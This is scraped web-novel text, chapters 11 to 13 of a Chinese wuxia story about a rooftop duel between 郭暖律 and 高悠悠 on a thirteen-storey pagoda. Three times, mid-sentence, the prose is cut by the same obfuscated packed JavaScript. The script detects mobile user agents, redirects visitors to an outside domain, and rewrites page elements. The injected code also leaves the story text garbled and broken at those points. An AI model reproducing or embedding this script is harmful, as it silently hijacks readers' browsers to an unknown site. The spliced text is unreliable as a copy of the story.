他就像是一个勤勤恳恳、传统努力的天才做题家,喜欢把人的招式一招一招拆解。他不管用招的是什么人,他只拆招,他在这方面几乎已登峰造极,只拆上一招就可以拆得了类似的所有招,故此在他面前的招,只能用一次,最多两次,三次就显老,就变成日薄西山、落后版本的老招了。 可郭暖律杀人,却像是在拆人。 他拆人的招不仅在拆解招式本身,而在于拆解分析这人用招的熟练度、创新力,甚至连对手的心态也是他分析的一大部分,因为这天底下的招,最终还是由人产出、由人使用,他认为你若只负责招而忽略人,其后果往往是事倍功半的。 所以,郭暖律不仅会拆招。 还会拆人。 还会控人。 会埋线种花一样在对方身上种下习惯。 有一次他缠上了一个刁钻的杀手,对方每用出一招自上二下俯冲刺杀的招式,他都会以特定的方式翻滚、斜挑、闪击。接连三次缠斗下来都是如此。 然后,他就让对方养成了一个固定的习惯和回路。 那就是在特定招式后。 郭暖律必定会这样或那样反击。 他靠这样的方法,在那老练的杀手身上种下了至少三个坏习惯、三个印象的回路。 然后在第四次缠斗后,在他把那杀手的所有剑法都看了个干净,拆了个透彻后。 那杀手依旧原样俯冲刺杀,并按着之前的习惯去刺翻滚的郭暖律。 等待他的却是郭暖律的突然变招、起跃,和如长虹贯日般陡然往上的一点直刺! 这种行为,叫做埋线。 也就是种下不好的习惯。 只因习惯在高手身上是极为重要的一件东西。 有时一瞬间的刺杀翻转是根本容不下思考的时间的,人只能依靠最基本的习惯和肌肉记忆。 但人总是能形成新的习惯的。 越是高手,越是能更快地因适应对手而种下新的习惯。 郭暖律利用的就是这一点。 所以对手武功越强,学习能力越快,他的埋线越能成功。 也就越能杀死对方! 郭暖律并不经常这样做。 白少央就很认真地看了看他。 “你和高悠悠打了那么多次……” “你有没有试图……在他身上埋线啊?” 郭暖律冷眼看他:“闭嘴。” 白少央闭了一会儿,又忍不住道:“如果你没有埋线的话,那你有试图诱导、操控他的攻击么?所以才恰到好处地平手?” 郭暖律翻了个白眼:“你以为他傻?” 白少央松了口气,但却说了悚然的一句。 “那么,你就是一直在藏招了。” 郭暖律这次却认真地看他。 “你太小看他,也小看我了。” 高悠悠确实是个很难满足,也难以持久稳定的人。 你在他身上用过的招一次就够,两次嫌多,三次找死。 可郭暖律却源源不断地维持着高悠悠的新鲜感,非常克制地在每次决斗中,都只用出几道招式去勾着对方,诱着对方,勾着诱着,又拒人于千里,以保证下一次还有新招可用。 难道高悠悠看不出来这是一种特别高级的武学上的“勾引”么? 当然看出来了。 他这人,可能在一点小方面是痴的、傻的,但在武学上,他是当之无愧的天才中的天才,杀材里的杀材! 他每次破解郭暖律的旧招没多久,就会发现郭暖律又又又出了新招,之前的破解就好像是诱人的陷阱一样,他是又气、又喜、又爱、又恨,又想马上就见到郭暖律并大战三百回合,每次心里都被勾得痒痒,见到郭暖律,那手指便想敲敲郭暖律的喉骨、脖骨、脸骨,顺便再敲一敲对方的脑壳! 白少央道:“所以他是知道你有藏剑招的,那你在怕什么……” 郭暖律没说话。 因为藏剑招,藏指法,本就相当于两个人默许的一种游戏。 在杀死对方之前,若能把藏的招全掏出来,那就是一种胜。 可是……如果他藏的如果不只是剑招呢? 如果有些正统剑法外的东西,有些能彻底扭转局势的东西,他从头到尾都没让高悠悠知道,也不打算让对方知道呢? “我不是怕他死。” 郭暖律依然在努力维持冷面。 “我只是怕……失控。” 察觉到那丝倔强里的脆弱,白少央这才猛然意识到什么。 他无比惊恐地看向了对方。 “这难道是还……还岁……” 这时的高悠悠则无比愤怒生冷地看向了郭暖律。 “你方才分明是把内力注入了剑招之中。” “你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009254|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异内力,可使一把曲水剑弯曲倾斜成不可能的角度,可叫剑与剑之间黏连缠挂如夫妻一般,可以剑身直接传入人的小臂,这种内力我闻所未闻,更未在任何典籍里看到过!” “你从没给我知晓过——你其实会这等邪诡的内功。” 郭暖律目光冷厉地往前看:“所以呢?” 【你终于知道了,又如何呢?】 高悠悠说得双目凛然如霜,不知是恨还是怒在肆虐。 “我在拼尽全力的时候,你一直在留手么?” 一旁的章师姐有些无奈地抹了抹额头。 高师弟人倒是没事儿,可他看了半天跳出来就只说这些么?难道不该在乎在乎郭暖律用这内力震下了他们的佩剑,还让他们丢了大面儿么? 郭暖律目光冰冷,嗤笑道:“自作多情也不必当别人的面吧?我是藏了点什么,但也不是故意留手。” 一旁的陶师弟有些无奈地叹了口气。 高师兄没事的话,那一切就是小事。郭暖律看上去好像和他有点交情的?应该是个稳重人,不至于火上浇油,把事情越弄越大吧? “因为你还不够聪明!” 高悠悠愣住了。 陶师弟愣住了 章师姐不但愣住了且完全惊住了。 这都不是在火上浇油了,这直接下猛雷了啊!? 郭暖律只冷眼看向上方那如神佛一般矗立的人。 “因为你还不够聪明,有些招给你看,你是破得了,可有些招给你看,你也只会在那边发疯又发癫。” 【我知道你很难过,很难过。】 “再说了,过去的一年里,你难道就没有一次留过手么?批评别人之前不想想自己心软过没有!?” 高悠悠的雪面如半搐半抖,气得发笑道:“好啊——你!” 【可是悠悠,我有我不能言说的理由。】 高悠悠的眉眼微动,郭暖律以厉烈目光抬眼看上方,如在看一朵悠悠的天上云。 “让我看看你真杀人的时候得有多狠吧,别光是站在这儿说一些恶心人的漂亮话……” 【愤怒的话就来出招吧,觉得深受背叛的话就来杀人吧,如果言语不能让你明白,如果心里的话全说出来也不能清楚分明的话……】 【那就动手啊!】 高悠悠忽然听得一愣。 却见郭暖律面目如雪作的长刀在光下倏忽一闪,眉眼里的剑锋舞动得如最初见面时那般的模样——那样光华璀璨、野性纯粹,充满了可怕的猎欲,可敬的杀戮之兴,与可悲可叹的无人欣赏的那种寂寞孤独。 【忘了昨晚的隔门一睡,忘了那些伤口是谁包扎的吧。】 【别真觉得我喜欢你,我不过是什么都试过,想试一把喜欢的感觉,就随意选了你,说到底是自恋,和你又有什么关系?】 【你不许猜出我第一次见面就觉得你的手指很好看这件事,也不许明白我沉浸在这种喜欢人的感觉里很开心,很开心,死了我也尽了兴,尽了兴我才能更好地杀人更快地享受的这件事!】 【出招吧,高悠悠!】 【这次谁也别留手!谁也不准再心软!】 高悠悠隔世而独立在那儿,心底那些凝聚的困惑愤怒、恼恨不甘,在听了这一句句烈火焚身般的邀请之后。 没有沉寂下去。 反而被点燃了! 他像是用全身心的肺腑去深吸这当下的一口气。 郭暖律已经教了他很多很多。 那么他也要教对方一个道理。 “嫌别人不太聪明,你不也是一个自以为是的蠢货?” 高悠悠居高临下,像在聪明的高地上俯视一切的愚蠢思路。 “你以为我寻你,只是在乎这些源源不绝的新招式么?” 郭暖律眉心微微一动。 高悠悠只凌空而立,眼中欲雪欲杀。 我是要进步。 我欲往上飞。 所以我更得看清楚你。 像我这样的人,了解人从不在话,心里话不成,嘴里言更不妥,我只知真心要拿招来换,真情感要真舍得才能见,我得看见你的全部招式,全部路数,我得瞧见你拼命拼到了全部,然后我…… 他忽然足点翻俯,冲身而下,如神佛般从当空日下的千万道灼灼阳光里一跃而下,手指戳出一道迅疾无比的指风! 直冲对方的眉心而去! 我高悠悠,才能真真正正地看见你——郭暖律啊! 12.跳舞 高悠悠先行俯冲一刺,如游隼急行而下的一道高速俯冲,似金鲤跳波之后的急坠而下,猛烈且迅,神飞如龙! 这一指陡然刺出,自高而下,看似是占尽了地利、加速等巨大的优势,看上去威风凛凛。 但其实这一招不算险。 因为这招给了郭暖律充分的躲闪时间。 只因高悠悠人在半空。 且是从塔尖冲刺而下。 冲刺速度再快,也能给人预料得到走势,也可叫人有一定的缓冲时间。 更何况他人在半空,身形变幻往往慢了一步。 郭暖律完全可凭地势。 往前突刺。 往上斜挑。 如果高悠悠像上次一样近身时,毫无防备地出手刺去一指风,那才叫险中险,恶中恶。 所以这一冲虽占了先手优势,可不险也不恶,几乎是给对方留足了反应时间,却给自己削减了反应时间。 不是因为高悠悠想留手。 而是因为郭暖律毕竟包扎了他的伤口,毕竟把他从塔底一路带到这高如云端的塔尖。 这只是礼节。 是对生死对手的堂皇礼节。 都给足了面子,照理说郭暖律该做点什么。 可他居然没做。 什么都没做。 他不躲。 蔑然地,冷漠地,好像这一指和自己完全无关,好像直到最后一刻他都会在原地看这戏,好像他根本不愿给高悠悠瞧自己真正的实力似的,就这么躲在原地。 他还露出了一丝嘲讽的笑。 好像在说——和我这等老江湖真打? 你个温室里的花朵圣子,你也配么? 高悠悠就算此刻听不到心声,也看见了对方脸上那股能够气死人的轻蔑。且看得越来越近,越看越能看清楚那种蔑然的嘲讽的细节。 他愤怒地感觉到了一种被无视的侮辱,和一种被辜负的难过。 是一种自己认认真真毫无保留地拼尽全力,而对方却始终有所保留、有所图谋、不肯放手一搏的被蔑视的悲哀。 于是当他冷漠地、杀气饱满地、几乎无法遏制地刺出这一指,当那指风只差一点点就要戳刺入对方那漂亮的眉心时。 郭暖律终于动了。 他在无言的轻蔑冷笑之中一动。 一动就动了全身! 他在瞬间急翻而过。 刹那间侧闪出三尺。 高悠悠的指风立刻落了个空。 却砸在了第七层塔身的屋瓦上,砸了个淋漓稀烂、瓦片乱飞! 可就在这屋瓦轻动、视线受阻之间,一把清寒的风陡然直刺他的后脑勺。 好险好恶的一招! 原来郭暖律故意不躲,就是想诱他近身。 然后借这指风击溅了屋瓦的一刻,借这屋瓦的视线掩护而进行刺杀。 生死一瞬,那剑尖几乎就要咬着他脑袋的洞刺进去。 高悠悠几乎没有任何躲闪的余地。 这一剑竟然快到连发指和夺剑的余地都没有。 他只凭来得及迅速扭腰、旋胯。 几乎是让自己的发丝贴着这剑尖飞过,让整个身子在剑尖上舞过滚过去。 陶师弟惊呼一声,方才的稳重全抛了开,紧跟着就要飞上去帮忙,却被章师姐给拉住了手。 “先别上去,师弟出手的时候绝对不能靠近!” 陶师弟不解,可那剑尖离高悠悠那么近啊,不靠近怎么能帮忙呢? 那剑尖这下滑出了高悠悠舞动轻盈的身躯,就如一只针滑过了展开的白色锦缎而没有破开半个口子。 按着惯性,这只针这只剑本来该顺势往前走,可郭暖律眼神一凛,不知做了什么,那剑尖处竟瞬间发出一种妖异的古筝清鸣声儿。 他小臂半点不动,手腕只如洒金抖雨般轻抖,往前滑动的一把软剑竟在半空骤折。 原地反转了几乎九十度。 以一个完全违反常理的角度反折回去,从往前变成了往后倒刺高悠悠的胸膛! 快到根本来不及反应! 高悠悠甚至来不及酝出指风。 只能足尖猛点,瞬间人在空中横成一条直线。 往上避开那刺他胸膛的软剑。 那剑尖立刻冲半空中的他刺去。 他却一个纵身继续往上爬高一尺。 剑尖立刻上升去改刺他的腰腹。 高悠悠立刻在半空之中旋身。 挑身旋体到了一个精准到令人拍案叫绝的角度,让那剑尖先撞到他的手,而不是他的腰或背或大腿! 他瞬间出手到了剑尖。 指尖一捻。 并借着身体下坠的趋势把剑也跟着往下带。 紧接着就要夺剑! 郭暖律吃了一惊。 他没想到高悠悠人在半空,无处借力,最是脆弱最是可攻击的那一刻,他想的仍是夺剑——且是借地势夺剑! 这一夺巧妙至极、惊险万分、却是胜手中的胜手,厉烈中的厉烈,这几乎已经让陶师弟看得心中大松了一口气,让章师姐也顺带着放下了心中大石。 只因高悠悠这精巧绝伦的一夺,曾夺过“长风搏浪剑”刺向他面门的一剑,也曾夺过“百盛长刀”当空劈他脑门的一刀,这一夺夺走的兵刃,夺走的好汉性命不知道有多少,只需这一夺出手,任何胜负都似已完全定下了。 不需再看,不需争议,就这么定下了。 可惜遇到的是郭暖律。 胜券在握,几乎开始微笑的高悠悠,忽然开始意识到指中的软剑剑尖,竟以一种滚烫而厉烈的气势开始内旋、外切。 郭暖律只以凌厉的看死人的眼光看他。 剑尖瞬间切向了高悠悠的掌心内脉! 高悠悠当机立断。 放弃夺剑。 而是指尖连发,在剑尖上弹了足足七下。 七下! 瞬间转身、瞬间放弃夺剑、瞬间滑指改成了弹指的七下。 这随机应变的七下,若弹在一个巨汉的身上,那个巨汉倒下了的时候身上或是多七个汩汩流血的洞,若弹在一个瘦汉身上,那人至少得断掉七根完好的骨头。 七下以后,郭暖律果然浑身颤抖,甚至唇角溢出血来。 这使得高悠悠松了口气,感到这一战似乎已经要提前结束的时候…… 可剑尖怎么还没被夺下? 他赫然意识到——自己无坚不摧的指,弹在这剑尖上,就仿佛陷入一种棉花、泥潭之中,陷入了一种仿佛解释也无法动弹的软劲儿,好像弹进去就要被包住,包住就……就无法挣脱了。 他的右手竟像黏在了这软剑上! 这剑上到底是什么诡异内力? 郭暖律立刺一道,直取腰腹。 高悠悠瞬间把左手回防至腰。 剑立刻转而刺向大腿。 高悠悠立时把黏在右手上的软剑往下一沉。 在这千钧一发之际。 用郭暖律自己曲折的软剑。 荡开了郭暖律刺来的短剑! 两剑相交,一股奇怪的内力混杂了高悠悠自己的内力荡冲开来,其巨大的冲劲儿荡开了郭暖律的两把剑,也荡开了高悠悠他自己! 他拨开剑锋的同时又向后一个白鹤展翅般的翻折,瞬间退开三尺,划开三丈,最后飞落的地方应该还算在塔的边缘…… 还好能飞下来,还好落地的点应该在塔的飞檐。 章师姐放了点儿心,陶师弟松了口气。 结果高悠悠几乎是刚刚下落,他们的心就跟着一起提了上来、憋了起来。 因为在高悠悠尚未完全落地的那一瞬间,就见到郭暖律在柱子上蹬了一蹬。 一蹬上前,软剑毫无间隙地紧跟而上。 如冲霄顶天一剑,直刺下落的高悠悠。 高悠悠似也一笑。 对方知道他落地就会猛攻,所以不让落地,而他也知道对方一定这么想,所以在空中就准备了大礼包。 他几乎是瞬间在半空中连续指尖急弹、磋磨,把酝酿已久的指风如陀螺一般打出了足足八道! 八道! 毫无间隙、上上下下都照顾到的八道指风! 一照面就是八道? 上次也才六道! 脖子咽喉面门、上盘中盘下盘都得照顾到! 且这大招是在瞬间近身处连发。 这一下郭暖律躲不过去。 在一旁观战的章师姐都懵了,连下方瞧见的陶师弟整个人都惊呆了。 八道啊!? 他打大师兄二师兄的时候最多也就出四道指风的,这……这郭暖律难道是大师兄二师兄加起来的总和吗? 那即便是总和,那郭暖律这也完蛋了。 绝对是完蛋了! 陶师弟看向章师姐的瞬间,马上明白了为什么刚才她拉着自己不让靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020234|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高悠悠。 因为激战中的高悠悠,是这江湖上最可怕的远程武器。 目前为止根本就没有人能躲过高悠悠在急速且近身状态下搓出来的八道指风。 这样的人根本就没有出生过。 郭暖律却瞬间左右开弓。 左手急起出软剑翻折出一道儿流瀑银光,一瞬间左翻右折上斜下挑飞两道指风。 同时右手短剑反手一个横斩,破了两道。 同时往后一个大仰侧翻三尺,避开两道。 同时落地时脚再往地上踢出两片碎瓦,瓦片急飞而出,在空中和那最后两道指风碰了个淋漓粉碎。 他就像把一个人的身上部位冷静地劈成四份,四份手足各做各的,像四个厨子抓了四包菜端给了八个口味不同的食客。 八道指风瞬间瓦解! 而在做这一切的同时,他竟欺身上前,直接扔出了手中的一把短剑,掷向高悠悠。 是飞剑。 且不是寻常飞剑。 一般的飞剑总有起势和落势,总会受到风力影响而微微倾斜以至于偏离了些许轨迹。 可这一把自郭暖律手指飞出的短剑不但没有丝毫落势偏斜,且居然在半空之中保持了稳定的、毫无阻碍的速度。 这一把冲蕴了诡谲轨迹的短剑如离弦之箭一般急速冲刺,使高悠悠不得全神贯注地往前伸指,迅速地往前一伸。 截住了这几乎离他咽喉不到三寸之余,只差一点点就要陷入咽喉的短剑剑尖。 甚至手指竟开始了罕见的颤抖! 高悠悠这才发现,这把短剑上蕴含了一股诡异的内力,一般他截住的瞬间就可以止住剑尖的冲势并扔回去,可这回他只觉手在接触的一瞬间就碰到了对方蕴在剑尖上的炙热内力。 且他居然得费足九牛之力,才勉强不让短剑刺入自己的咽喉! 那短剑立刻后撤,软剑却急如轻烟一般直刺他的背部。 高悠悠迅疾一闪,卷出白袖拍飞剑身。 二人在空中登时交了三招、三手、三道指风! 等到分开时,高悠悠立定塔中,背后露了一点儿触目惊心的猩红。 两只手的手指在微微颤动。 而郭暖律翻身三尺再退开三尺。 嘴唇上有血。 立定时肩上现出了一片血。 脚下的屋瓦深红了一片儿。 高悠悠只觉得手上正因为内力的裹挟冲荡而剧痛地颤动着,可当他抬头看向对方。 却是前所未有的得意。 也是空前绝后的畅快。 他的手指在流血,在颤动,身上在激荡,背后在撕裂。 可他本人却在笑。 笑得快活。 快乐到千年的冰锋都倒转成了烫水。 笑得兴奋。 兴奋得像铁融成的花儿一时灿烂得不得了。 郭暖律却恼怒、痛恨,且是冰冷刺骨道:“你的手指撑不了多久了,你死定了,还笑!?” 高悠悠刚想笑着讽回去。 【你笑得好开心,我也好开心!】 【这就是你一直想追的感觉么?】 他听得一愣。 郭暖律依旧饱含恨意与杀气、如盯着死人一般瞪着他。 【如果这就是你一直要追,想要的,哪怕手指颤动搐痛到筋脉皆断也要继续追的话……】 【那我们就继续吧……】 【只这一次,也许是最后一次……】 【这一次,你能不能主动邀请我跳……】 郭暖律忽截止一切思路,面露隐痛地擦拭起嘴唇的血,显然内伤和肩部的伤有些影响他的思路集聚了。 他快要说不出心声了。 跳? 高悠悠忽然以一种极为复杂的目光看向了对方。 看向了这个抱过自己的男人。 这个和自己并肩过的男人。 这个杀过刺过戳过的男人。 他忽然像是知道了什么,明白了什么,忽然就以一种厉烈的敬重的也包含了无法解释的温和看向了对方。 “小郭。” 郭暖律冷厉的目光因这诡异的温和口气而微微一顿。 他什……他叫我什么? 高悠悠忽然抬起唇,微微一笑地说出让对方的整个脸孔都陷入空白呆滞的话。 “一起来跳舞吧。” 就这一次! 最后一次! 13.塔尖下 郭暖律不知道该如何处理这一刻的感受。 从高悠悠嘴里说出他根本不可能会说出的字眼之后,他只是震惊地呆在原地。 哪怕一个小孩子这时刺入一把剑在他的胸膛,只怕他都不会有多余的反应去还手。 他就这样呆呆地、静静地看着高悠悠。 好像回到了第一次见面时,那种被强光灼烧的炫目感、恍惚感。 恍惚到,他要好久好久才能适应,原来眼前的光不是来自于头顶的太阳,而是太阳下站着的那个人。 那个美丽威严如庙堂神佛,圣洁傲岸又隔世独立的人。 高悠悠。 他深吸一口气。 他好像又被对方身上那一种怪怪又圣圣的美,给击中了! 深呼吸深呼吸深呼吸。 他吸气时好像觉得自己的胸腔忽然多出了十个肺和二十个心脏,这些器官挤在一起呼着过于激动、过于震惊、和过于强烈的心声。 【悠悠你为什么会……】 【会用跳舞这个词儿去形容决斗呢?】 从前他擒住高悠悠在塔内时,就隐约觉出对方和他似有一些只言片语的同步,好像在某一时某一刻,他们的心思都跳在一条线,跃在同一把剑和攥在同一根手指上。 【我从未在你面前提到过!一次都没有!】 这世上竟会一个人,和他会用一样怪的词眼,和他会用一样狠绝冷静的声音,去邀请——这生与死共舞? 明明肩伤作痛,明明脚下的砖瓦颜色在流深,明明存亡在眼前,而发起死亡的是眼前那人。 可到了这一刻,郭暖律心中竟涌现出一种——近乎决绝与辛烈的快乐与愉悦。 仿佛在血液里、空气中、脉搏下,都跳动喧嚣着同一句话。 【难道你……比我想象得更与我相似?】 然后,郭暖律终于平复了所有的激动困惑和震惊,也压住了所有的幸福和甜蜜。 因为就在刚才那一瞬间,高悠悠已给了他莫大的快乐。 他也要给对方快乐。 而对方想要的快乐就是…… 他。 恢复了往昔斗志他。 充斥悍烈杀气的他。 冷笑可使一切成冰的郭暖律。 “说话还是那么莫名其妙……想找死,就跟我过来!” 说完,郭暖律忽的点足而飞,如白龙摆尾一般直飞上天,越过一层又是一层,直接往塔尖飞去! 像是一种信号,他在飞前还冲着高悠悠发出一声轻笑。 似挑衅似意气,似邀舞似鼓动。 确实鼓动了高悠悠的心弦,让他感到了某种莫名地想揍人的快活,而无视了手上正滴滴答答留下来的血。 他点足而飞,跟上去。 追上去。 越上去。 越过一层层琉璃的屋檐,在水中像追逐的两尾金鱼在挟尾摺翅。 闪过一道道雕画的兽像,在光下似翻腾的两段刀锋在缠绕舒卷。 这一刻他想杀死对方。 却看见对方在光下的面孔冷艳淋漓、神光湛然! 高悠悠竟也看得一瞬的恍惚。 眼神忽亮透、忽青春。 犹如一个躲藏许久的顽童被挖了出来,他想看到郭暖律更多更多这样的面孔! 这一刻,两个人仿佛形成了互换。 幼稚冲动的那个成了死追的高悠悠。 冷静厉烈的那个成了上飞的郭暖律。 而在郭暖律几乎爬到定点,攀到高处,越到再无回转的那一塔尖处。 他忽然在尖顶那边蹬了一蹬。 回身俯冲就是一刺。 如有去无回地飞箭一般整个人冲刺了过去。 高悠悠当即一个往后大仰身,躲过一刺。 可等他掰正身躯。 对方一剑已离他咽喉三寸不到。 高悠悠几乎是头皮发麻、浑身战栗! 依靠生死本能的他,当即往屋瓦上一个急沉、猛拧,把整个身子往下方送。 本以为避开一剑,可这剑也跟着刺了过去! 他立刻以指尖戳地,整个人双脚如剪子一般交叉连蹴,蹴开了刺他膝盖的一软剑,踢走了刺他脚尖的一短剑,却还是一阵剧痛,任那剑在肩臂处翻出了一道儿血花! 他忍痛也瞬间抓住这个机会,毫不犹豫地寄出一指。 郭暖律持着软剑的手腕处立刻爆出了一团儿血痕。 忍痛也毫不犹豫地弃软剑,以最迅疾轻敏的姿态闪过一指,接着只凭一把急险的短剑,连续戳刺咽喉与眉心! 高悠悠瞬间翻出半个身,从潮刺浪突的剑势中闪过,短剑够他不着,郭暖律立弃短剑,捡软剑往前一送! 剑是往中送,却送到高悠悠的脚尖。 只因高悠悠往上平平一跃,下落时脚尖竟如蜻蜓点水般,点踩了那把送来的软剑。 然后借力往上跳。 直升三尺! 郭暖律立时跟着前飞、起跃。 二人在空中尽然四度交手、踢蹴,弄到后面失了血力,招使不透彻,便什么抓足踝,扯臂膀,搂腰带都上了出来,反正谁也不肯让谁登上塔尖,面红耳赤却又冷厉冰烈地互杀,红血点子互相飞溅了对方的雪白肌肉一身! 都想居高临下,都要把对方从顶部拉下来、扯下来、抱下来给摔倒、制服! 已成了一场塔尖的混乱杀戮起舞! 章师姐看得目瞪口呆。 陶师弟瞅得眼冒金星。 看这架势……还有这两个人不分伯仲地流血失力的趋势,他们已经完全不知道是该上去支援,还是像现在这样和两个职业傻瓜似的,远远看着了。 高师弟这么强完全可以理解,毕竟是“神佛无相”高悠悠…… 可是郭暖律,一向以剑法外功闻名于世的郭暖律,居然也藏着这么深沉诡异的内力,且拆招变招的速度竟丝毫不亚于高悠悠,竟一度把高悠悠逼入绝境,然后才把自己也陷入绝境! 不过现在这两个世所罕见的高手,厮打滚血的样子,竟没点风度,没点礼节,没点尊重。 已经从原本的极力想杀死对方,变成了因为气血流失而不得不降级的争顶部、争位置了! 可忽然,琉璃塔下忽然多了一群人。 章未舒章师姐立刻眼尖地看出。 那似乎是一路上遇到过的,吆喝着要给徐宴山报仇雪恨的那群江湖豪客。 “莲花小判”商道莲、“朦云剑”方朦河、“鹿山婆婆”朱鹿儿、”边塞兰衣”边叙兰、“白刀屠夫”申屠、“黄城船夫”解隐、“明山有亮“兄弟俞又亮,甄更明。 一共八个。 八个仇人。 这群人浩浩荡荡,面露凶色,不是为了趁机绞杀高悠悠又是为了什么? 遇着章未舒二人,商道莲的莲花面目闪过一丝忧意,嘴里也冒出一种恰到好处的叹息,一种无法形容的惋惜。 “章姑娘应当知道,我们在这儿只是找高悠悠,我听说姑娘与这师弟的关系并不算好,他也并不算如何敬你,又何必管他呢?” 高悠悠确实曾经把师兄师姐们都挑战了一遍。 且是当着大家的面,毫不留情地。 全都干趴下了。 往事历历在目,章未舒却只峨眉直扫,冷着一番在山中云中雾中浸润翻滚多年的笑,手中一剑平平指着对方。 “你算个什么东西?你身后那群又算什么杂物?” “小无相山的人自有小无相山来护,想为姓徐的讨公道就来讨,别想着挑拨离间!” 商道莲无奈:“姑娘的这高师弟虽然强横,可他已经在郭暖律手上受了这样的重伤,一会儿就算能赢,只怕也是惨胜吧?” “他今日注定要死在我们手里。” “姑娘就两人,却想拦我们一群?” 方朦河亦是冷笑:“高悠悠这个烂厮,受了伤也是自己杀人作恶!那郭暖律那日就可杀他,却和他眉来眼去,抱来搂去,我们这次干脆把他俩一起杀了,替天行……” “道”字还未落地,章未舒那充满火辣怒意的一剑就直接冲着他的舌苔刺了进去! “什么狗物,敢这样污我师弟清白!” 方朦河骇得当场出剑格挡,却勉勉强强被震飞了出去。 他以为章未轻被高悠悠轻松地击败。 只怕也是凭资历混的这个三师姐。 却不想这女子被高悠悠轻松击败实在不是因为她太弱,而是因为……高悠悠确实太强太强了! 章未舒又瞬间追出了七道剑。 剑剑只刺方朦河的嘴和舌。 完全是一副要当场打死造黄谣者的愤怒样子。 而陶然紧接着急冲出去,挡在师姐背后,一剑挑歪了商道莲砍向背后的一斧头,接着一剑抵住了刺向自己的一把翻飞的钢刀! 小无相山十大弟子里的两个,就这么和十个江湖人干了起来,剑起刀舞之间,打得不可开交。 而塔尖的郭暖律和高悠悠仍打得一心一意。 两耳不闻塔下事,两眼只在胸与咽。 时而打得如同归于尽般惨烈,时而又如一对舞者般争夺主角配角之位,时而又如一对流氓的顽童在乱扯乱搂乱抓乱抱。 总之惨烈剧烈、酣畅痛畅之际……高悠悠笑得嗜血开怀,也怒得鲜艳蓬勃之时。 他忽然一惊。 注意到了郭暖律的眼皮忽然在眨。 却不是故意的眨,而是无法控制的疲倦昏重的眨。 怎么……怎么好像犯困一样在眨? 高悠悠还在好奇的时候,却忽见郭暖律忽然直接闭上眼,好像一下子困倦得什么都做不了一样,竟然直直地往下坠去! 高悠悠懵住了。 不是……这家伙又想故技重施,假装掉下去让我去捞他,然后一剑搁在我脖子上么? 一定是这样的没错! 这一星半点的犹豫,就使得他惊恐地发现郭暖律是真的往下直坠,且身上没有半点醒来的征兆…… 这可是十三层高! 他立刻飞身冲去,加速往下冲! 本来章未舒和陶然在下方打得如火如荼,看得郭暖律这难缠可怕的敌人终于从塔尖坠落下来,还以为是高悠悠打落的,心里和眼里都快笑哈哈哈了。 结果高悠悠直接冲着郭暖律加速跳了下来。 两个人都哈不出来了,脸都吓得白了! 章未舒和陶然几乎是同时放下战场,起跃而出,想接住高悠悠的下坠。 可高悠悠在空中心急如焚,唯恐自己赶不上下坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022299|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的郭暖律,唯恐自己接不住对方! 他一向只知道用素白润玉的手指去杀人。 可现在却要用来救人。 却根本救不着。 他人在半空往下急坠,却始终和先坠落的郭暖律差了半分,只这半分,他就完全抓不到对方的一片衣角,抓不到对方,就要眼睁睁地看着郭暖律从十三层跌下,在他面前摔个粉身碎骨! 怎么能这样! 凭什么这样!? 这可是他好不容易得来的对手,是他好不容易抓住的宿敌啊! 高悠悠怒而提气,几乎毫不顾惜地猛地缩身向下。 终于在最后一刻抓住了郭暖律。 然后翻转之下,他却一阵晕眩,只因背后的伤口在狂风怒浪和擦过屋檐之后,撕裂得更加剧痛和颤动了。 更糟糕更绝望的是。 他一心想救的人——郭暖律,在此刻瞬间醒转。 且猛抓住高悠悠后背。 令他在空中无力反制! 高悠悠的血瞬间凝固。 你要摔死我? 这难道从头到尾都是你的一场诡计? 电光火石间,郭暖律却冷笑一声,用尽最后一丝力气,一怒而拨转身躯,以自己为下,让高悠悠始终保持在上。 高悠悠终于在无数的伪装阴谋和算计之中。 拨开且惊觉出了这生死一刻,无法掩饰的真心。 他呆呆地看着郭暖律。 只觉两个人在半空中贴得这样近、抱得这么紧,仿佛血液和血液都能凝为一体,身躯与身躯都融在一块儿。 且是在这无法挽回的下坠与凝视之中。 他好像才看清楚了郭暖律。 看清了对方虚弱中,那轻嘲着漠然着尘世间一切道德的一双冷眼。 那清透又释然的眼,那无惧也无悔的目光。 当走马灯时,到了濒死回忆的前一刻,郭暖律心里又会在想什么? 二人就这样直往下坠去! 章陶二人气力一鼓二作而尽,跃在空中的势头眼看就要下跌,眼看他们就要错过这急速下坠的二人,只能看着他们同归于尽一般地往下掉落时。 忽有一人。 如冲霄之鸟一般跃过他们。 还双足翻飞间,踩在他们二人的肩膀上。 点了一点。 借势再往上飞上许多。 